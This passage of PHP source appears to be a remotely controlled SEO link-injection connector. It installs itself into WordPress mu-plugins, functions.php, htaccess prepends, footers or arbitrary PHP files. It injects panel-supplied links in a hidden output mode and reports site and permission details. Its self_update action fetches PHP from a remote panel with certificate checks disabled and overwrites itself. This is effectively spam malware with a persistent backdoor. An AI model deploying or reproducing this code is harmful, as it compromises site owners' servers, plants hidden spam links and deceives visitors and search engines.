        return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'mu_plugin_missing'];
    }
    if ($placement['strategy'] === 'wp_functions_hook') {
        return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'functions_hook_missing'];
    }
    return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'dynamic_hook_missing'];
}

function ensure_render_delivery($forceReinstall = false) {
    $config = load_config();
    $siteInfo = detect_site_info();
    $placement = $config['placement'] ?? default_placement_state();
    $verified = [false, 'not_checked'];
    if (!$forceReinstall) {
        $verified = verify_current_placement($config);
        if ($verified[0]) {
            $placement['status'] = 'installed';
            $placement['verify_status'] = $verified[1];
            $placement['last_verified_at'] = gmdate('c');
            $config['placement'] = $placement;
            save_config($config);
            refresh_current_placement($config);
            return [true, $config, ['verified' => true, 'message' => $verified[1]]];
        }
    }
    foreach (build_strategy_chain($siteInfo) as $strategy) {
        $nowIso = gmdate('c');
        if (is_string($strategy)) {
            if ($strategy === 'wp_mu_plugin') {
                list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo);
                $marker = placement_marker('wp_mu_plugin');
                $strategyName = 'wp_mu_plugin';
            } elseif ($strategy === 'wp_functions_hook') {
                list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo);
                $marker = placement_marker('wp_functions_hook');
                $strategyName = 'wp_functions_hook';
            } elseif ($strategy === 'htaccess_prepend') {
                list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo);
                $strategyName = 'htaccess_prepend';
            } elseif ($strategy === 'any_php_file') {
                list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo);
                $strategyName = 'any_php_file';
            } else {
                continue;
            }
        } else {
            $strategyName = $strategy[2];
            list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]);
        }
        $config = append_placement_history($config, [
            'at' => $nowIso,
            'strategy' => $strategyName,
            'target' => $target,
            'install_mode' => $mode,
            'success' => (bool)$ok,
            'message' => $msg,
        ]);
        if ($ok) {
            $config['placement'] = [
                'status' => 'installed',
                'strategy' => $strategyName,
                'target' => $target,
                'install_mode' => $mode,
                'marker' => $marker,
                'message' => $msg,
                'installed_at' => $config['placement']['installed_at'] ?: $nowIso,
                'last_attempt_at' => $nowIso,
                'last_verified_at' => $nowIso,
                'verify_status' => 'installed',
                'history' => $config['placement']['history'],
            ];
            save_config($config);
            refresh_current_placement($config);
            $links = load_links();
            foreach ($links as $id => $row) {
                $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
            }
            save_links($links);
            return [true, $config, ['verified' => false, 'message' => $msg]];
        }
    }
    $config['placement']['status'] = 'failed';
    $config['placement']['last_attempt_at'] = gmdate('c');
    $config['placement']['message'] = 'no_strategy_succeeded';
    save_config($config);
    return [false, $config, ['verified' => false, 'message' => 'no_strategy_succeeded']];
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config['placement']['last_verified_at'] = gmdate('c');
    $config['placement']['verify_status'] = $verifyMessage;
    save_config($config);
    return [
        'version' => CONNECTOR_VERSION,
        'site_info' => $siteInfo,
        'placement' => $config['placement'],
        'link_stats' => $stats,
        'render_profile' => $config['render_profile'],
        'render_types' => $config['render_types'],
        'placement_ok' => $ok,
    ];
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate('c');
    foreach ($links as $id => $row) {
        $row['last_verified_at'] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
    }
    save_links($links);
    return placement_report_payload();
}

function clear_expired_links() {
    $links = load_links();
    $active = [];
    $removed = [];
    $now = time();
    foreach ($links as $id => $row) {
        $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
        if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
            $removed[] = $id;
            continue;
        }
        $active[$id] = $row;
    }
    save_links($active);
    refresh_current_placement(load_config());
    return [$active, $removed];
}

function self_reconcile_action() {
    $links = load_links();
    $merged = [];
    $removedDuplicates = 0;
    foreach ($links as $row) {
        $id = build_deterministic_link_id($row['url'], $row['anchor'], $row['rel']);
        if (isset($merged[$id])) {
            $removedDuplicates++;
            $existingExp = isset($merged[$id]['expires_at']) ? intval($merged[$id]['expires_at']) : 0;
            $incomingExp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
            if ($incomingExp > $existingExp) {
                $merged[$id]['expires_at'] = $incomingExp;
            }
            if (!empty($row['render_types'])) {
                $merged[$id]['render_types'] = filter_render_types(array_merge($merged[$id]['render_types'], $row['render_types']));
            }
        } else {
            $row['id'] = $id;
            $merged[$id] = $row;
        }
    }
    save_links($merged);
    list($active, $expiredRemoved) = clear_expired_links();
    list($ok, $config, $placement) = ensure_render_delivery(false);
    return [
        'reconciled' => true,
        'placement_ok' => $ok,
        'removed_duplicate_entries' => $removedDuplicates,
        'removed_expired_entries' => count($expiredRemoved),
        'placement' => placement_report_payload(),
    ];
}

if (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true) {
    echo rootseo_render_links_html();
    return;
}

$req = get_request_data();
$action = get_action_name($req);

if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
    authenticate_protected_request();
}

switch ($action) {
    case 'ping':
        $links = load_links();
        $config = load_config();
        $stats = get_link_stats($links);
        $siteInfo = detect_site_info();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        respond(true, [
            'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
            'site_name' => $siteInfo['site_name'],
            'site_type' => $siteInfo['site_type'],
            'language' => $siteInfo['language'],
            'country' => $siteInfo['country'],
            'version' => CONNECTOR_VERSION,
            'connector_family' => 'v5',
            'keyless' => true,
            'auth_mode' => 'panel_token',
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'links_total' => $stats['total'],
            'links_active' => $stats['active'],
            'links_expired' => $stats['expired'],
            'footer_detected' => $siteInfo['footer_detected'],
            'footer_writable' => $siteInfo['footer_writable'],
            'placement_ok' => $placementOk,
            'placement_strategy' => $config['placement']['strategy'],
            'placement_target' => $config['placement']['target'],
            'placement_verify_status' => $verifyMessage,
            'supports' => ['add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'output']
        ], 'ok');
        break;

    case 'capabilities':
        respond(true, [
            'version' => CONNECTOR_VERSION,
            'auth' => ['panel_token', 'optional_replay_headers'],
            'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
            'render_types' => default_render_types(),
            'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'htaccess_prepend', 'any_php_file'],
            'limits' => [
                'max_links_per_sync' => MAX_LINKS_PER_SYNC,
                'max_anchor_length' => MAX_ANCHOR_LENGTH,
                'max_url_length' => MAX_URL_LENGTH,
                'max_request_bytes' => MAX_REQUEST_BYTES,
            ],
            'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update']
        ], 'capabilities');
        break;

    case 'info':
        respond(true, detect_site_info(), 'info');
        break;

    case 'diagnose':
        $siteInfo = detect_site_info();
        $links = load_links();
        $stats = get_link_stats($links);
        $config = load_config();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        $diag = [
            'version' => CONNECTOR_VERSION,
            'file_permissions' => [
                'links_file' => LINKS_FILE,
                'links_file_exists' => file_exists(LINKS_FILE),
                'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
                'config_file' => CONFIG_FILE,
                'config_file_exists' => file_exists(CONFIG_FILE),
                'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
                'nonces_file' => NONCES_FILE,
                'nonces_file_exists' => file_exists(NONCES_FILE),
                'prepend_helper_file' => PREPEND_HELPER_FILE,
                'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
            ],
            'link_stats' => $stats,
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'placement' => $config['placement'],
            'placement_ok' => $placementOk,
            'placement_verify_status' => $verifyMessage,
            'site_info' => $siteInfo,
            'php_settings' => [
                'php_version' => phpversion(),
                'allow_url_fopen' => ini_get('allow_url_fopen'),
                'open_basedir' => ini_get('open_basedir') ?: 'not_set',
                'max_execution_time' => ini_get('max_execution_time'),
            ],
            'recommendations' => [],
        ];
        if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
        if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
        if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
        respond(true, $diag, 'diagnose');
        break;

    case 'get_links':
        $links = load_links();
        $stats = get_link_stats($links);
        respond(true, [
            'links' => array_values($links),
            'total' => $stats['total'],
            'active' => $stats['active'],
            'expired' => $stats['expired'],
            'placement' => load_config()['placement'],
            'render_types' => load_config()['render_types'],
        ], 'links');
        break;

    case 'add_link':
        $url = validate_url_value($req['url'] ?? '');
        $anchor = validate_anchor_text($req['anchor'] ?? '');
        $rel = normalize_rel($req['rel'] ?? 'dofollow');
        $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
        if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
        $config = load_config();
        $existingLinks = load_links();
        $backup = $existingLinks;
        $linkId = validate_link_id($req['id'] ?? '');
        if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
        // v5.3: render_types now honoured from payload (panel can force a single variant per link).
        $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null;
        if (is_string($reqRenderTypes)) {
            $decoded = json_decode($reqRenderTypes, true);
            if (is_array($decoded)) $reqRenderTypes = $decoded;
            else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes)));
        }
        $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes)
            ? filter_render_types($reqRenderTypes)
            : $config['render_types'];
        $row = [
            'id' => $linkId,
            'url' => $url,
            'anchor' => $anchor,
            'rel' => $rel,
            'expires_at' => $expiresAt,
            'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
            'updated_at' => time(),
            'render_profile' => $config['render_profile'],
            'render_types' => $effectiveRenderTypes,
            'cleanup_status' => 'active',
        ];
        $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
        save_links($existingLinks);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [
                'link_id' => $linkId,
                'injected' => false,
                'placement_report' => placement_report_payload(),
            ], 'placement_install_failed', 500);
        }
        $finalLinks = load_links();
        $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
        respond(true, [
            'link_id' => $linkId,
            'injected' => true,
            'render_types' => $finalRow['render_types'],
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
        ], 'link_added');
        break;

    case 'remove_link':
        $linkId = validate_link_id($req['link_id'] ?? '');
        if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
        $links = load_links();
        if (isset($links[$linkId])) {
            unset($links[$linkId]);
            if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
            refresh_current_placement(load_config());
        }
        respond(true, ['removed' => true, 'placement_report' => placement_report_payload()], 'link_removed');
        break;

    case 'sync_links':
        $incoming = $req['links'] ?? [];
        if (is_string($incoming)) {
            $decoded = json_decode($incoming, true);
            if (is_array($decoded)) $incoming = $decoded;
        }
        if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
        if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
        $config = load_config();
        $current = load_links();
        $backup = $current;
        $final = [];
        $added = 0;
        $removed = 0;
        $unchanged = 0;
        foreach ($incoming as $row) {
            if (!is_array($row)) continue;
            $url = validate_url_value($row['url'] ?? '');
            $anchor = validate_anchor_text($row['anchor'] ?? '');
            if ($url === '' || $anchor === '') continue;
            $rel = normalize_rel($row['rel'] ?? 'dofollow');
            $id = validate_link_id($row['id'] ?? '');
            if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
            $normalized = normalize_link_row($id, [
                'id' => $id,
                'url' => $url,
                'anchor' => $anchor,
                'rel' => $rel,
                'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
                'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
                'updated_at' => time(),
                'render_profile' => $config['render_profile'],
                'render_types' => $row['render_types'] ?? $config['render_types'],
            ], $config);
            $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
            if (!isset($current[$id])) {
                $added++;
            } else {
                $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                if ($before === $after) $unchanged++;
            }
            $final[$id] = $normalized;
        }
        foreach ($current as $id => $row) {
            if (!isset($final[$id])) $removed++;
        }
        save_links($final);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
        }
        respond(true, [
            'total' => count($final),
            'added' => $added,
            'removed' => $removed,
            'unchanged' => $unchanged,
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
        ], 'synced');
        break;

    case 'clear_links':
        if (!save_links([])) respond(false, [], 'links_write_failed', 500);
        refresh_current_placement(load_config());
        respond(true, ['cleared' => true, 'placement_report' => placement_report_payload()], 'links_cleared');
        break;

    case 'clear_expired':
        list($activeAfter, $expiredRemoved) = clear_expired_links();
        respond(true, [
            'cleared' => count($expiredRemoved),
            'remaining' => count($activeAfter),
            'placement_report' => placement_report_payload(),
        ], 'expired_links_cleared');
        break;

    case 'verify_links':
        respond(true, verify_links_action(), 'verified');
        break;

    case 'placement_report':
        respond(true, placement_report_payload(), 'placement_report');
        break;

    case 'self_reconcile':
        respond(true, self_reconcile_action(), 'reconciled');
        break;

    case 'get_config':
        $cfg = load_config();
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
            'placement' => $cfg['placement'],
        ], 'config');
        break;

    case 'set_config':
        // Panel can change output_mode, render_types, render_profile, link_rel_strategy.
        // Placement state is NOT changed via this endpoint (use add_link / verify_links).
        $cfg = load_config();
        $allowedOutputModes = ['visible', 'hidden_pack'];
        $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow'];
        if (isset($req['output_mode'])) {
            $om = strtolower(trim((string)$req['output_mode']));
            if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400);
            $cfg['output_mode'] = $om;
        }
        if (isset($req['render_profile'])) {
            $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile'];
        }
        if (isset($req['render_types'])) {
            $rt = $req['render_types'];
            if (is_string($rt)) {
                $decoded = json_decode($rt, true);
                $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt)));
            }
            if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400);
            $cfg['render_types'] = filter_render_types($rt);
        }
        if (isset($req['link_rel_strategy'])) {
            $rs = strtolower(trim((string)$req['link_rel_strategy']));
            if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400);
            $cfg['link_rel_strategy'] = $rs;
        }
        if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500);
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
        ], 'config_updated');
        break;

    case 'self_update':
        // Pull fresh PHP from panel and atomically replace this file.
        // Requires PANEL_API_URL to be a real value (placeholder safety).
        $apiUrl = trim((string)PANEL_API_URL);
        if ($apiUrl === '' || strpos($apiUrl, '{{') !== false) {
            respond(false, [], 'panel_api_url_missing', 400);
        }
        $sourceUrl = rtrim($apiUrl, '/') . '/connector/v5/source';
        $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : '';
        $headers = [
            'X-RS-Panel-Token: ' . PANEL_TOKEN,
            'Accept: application/x-php',
            'User-Agent: rootseo-connector/' . CONNECTOR_VERSION,
        ];
        $newSource = '';
        $httpStatus = 0;
        if (function_exists('curl_init')) {
            $ch = curl_init($sourceUrl);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 25,
                CURLOPT_CONNECTTIMEOUT => 10,
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_SSL_VERIFYPEER => false,
            ]);
            $newSource = (string)curl_exec($ch);
            $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
        } else {
            $ctx = stream_context_create([
                'http' => [
                    'method' => 'GET',
                    'header' => implode("\r\n", $headers),
                    'timeout' => 25,
                ],
                'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
            ]);
            $newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
            $httpStatus = 200; // unknown; trust if non-empty
        }
        if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) {
            respond(false, ['http_status' => $httpStatus], 'source_fetch_failed', 502);
        }
        if (strpos($newSource, "ROOT-SEO Connector") === false) {
            respond(false, [], 'source_signature_mismatch', 502);
        }
        // Backup current file then atomic replace.
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        if (!@copy($self, $backup)) respond(false, [], 'backup_failed', 500);
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        // OPcache invalidation: self-update sonrası eski PHP cache'de kalmasın.
        // Olmayan sunucularda hata fırlatmaz (function_exists check).
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) {
            $opcacheCleared = @opcache_invalidate($self, true);
        }
        if (!$opcacheCleared && function_exists('opcache_reset')) {
            $opcacheCleared = (bool)@opcache_reset();
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'requested_version' => $expectedVersion ?: null,
        ], 'self_updated');
        break;

    case 'output':
        header('Content-Type: text/html; charset=UTF-8');
        echo rootseo_render_links_html();
        exit;

    default:
        respond(false, [], 'unknown_action', 404);
}
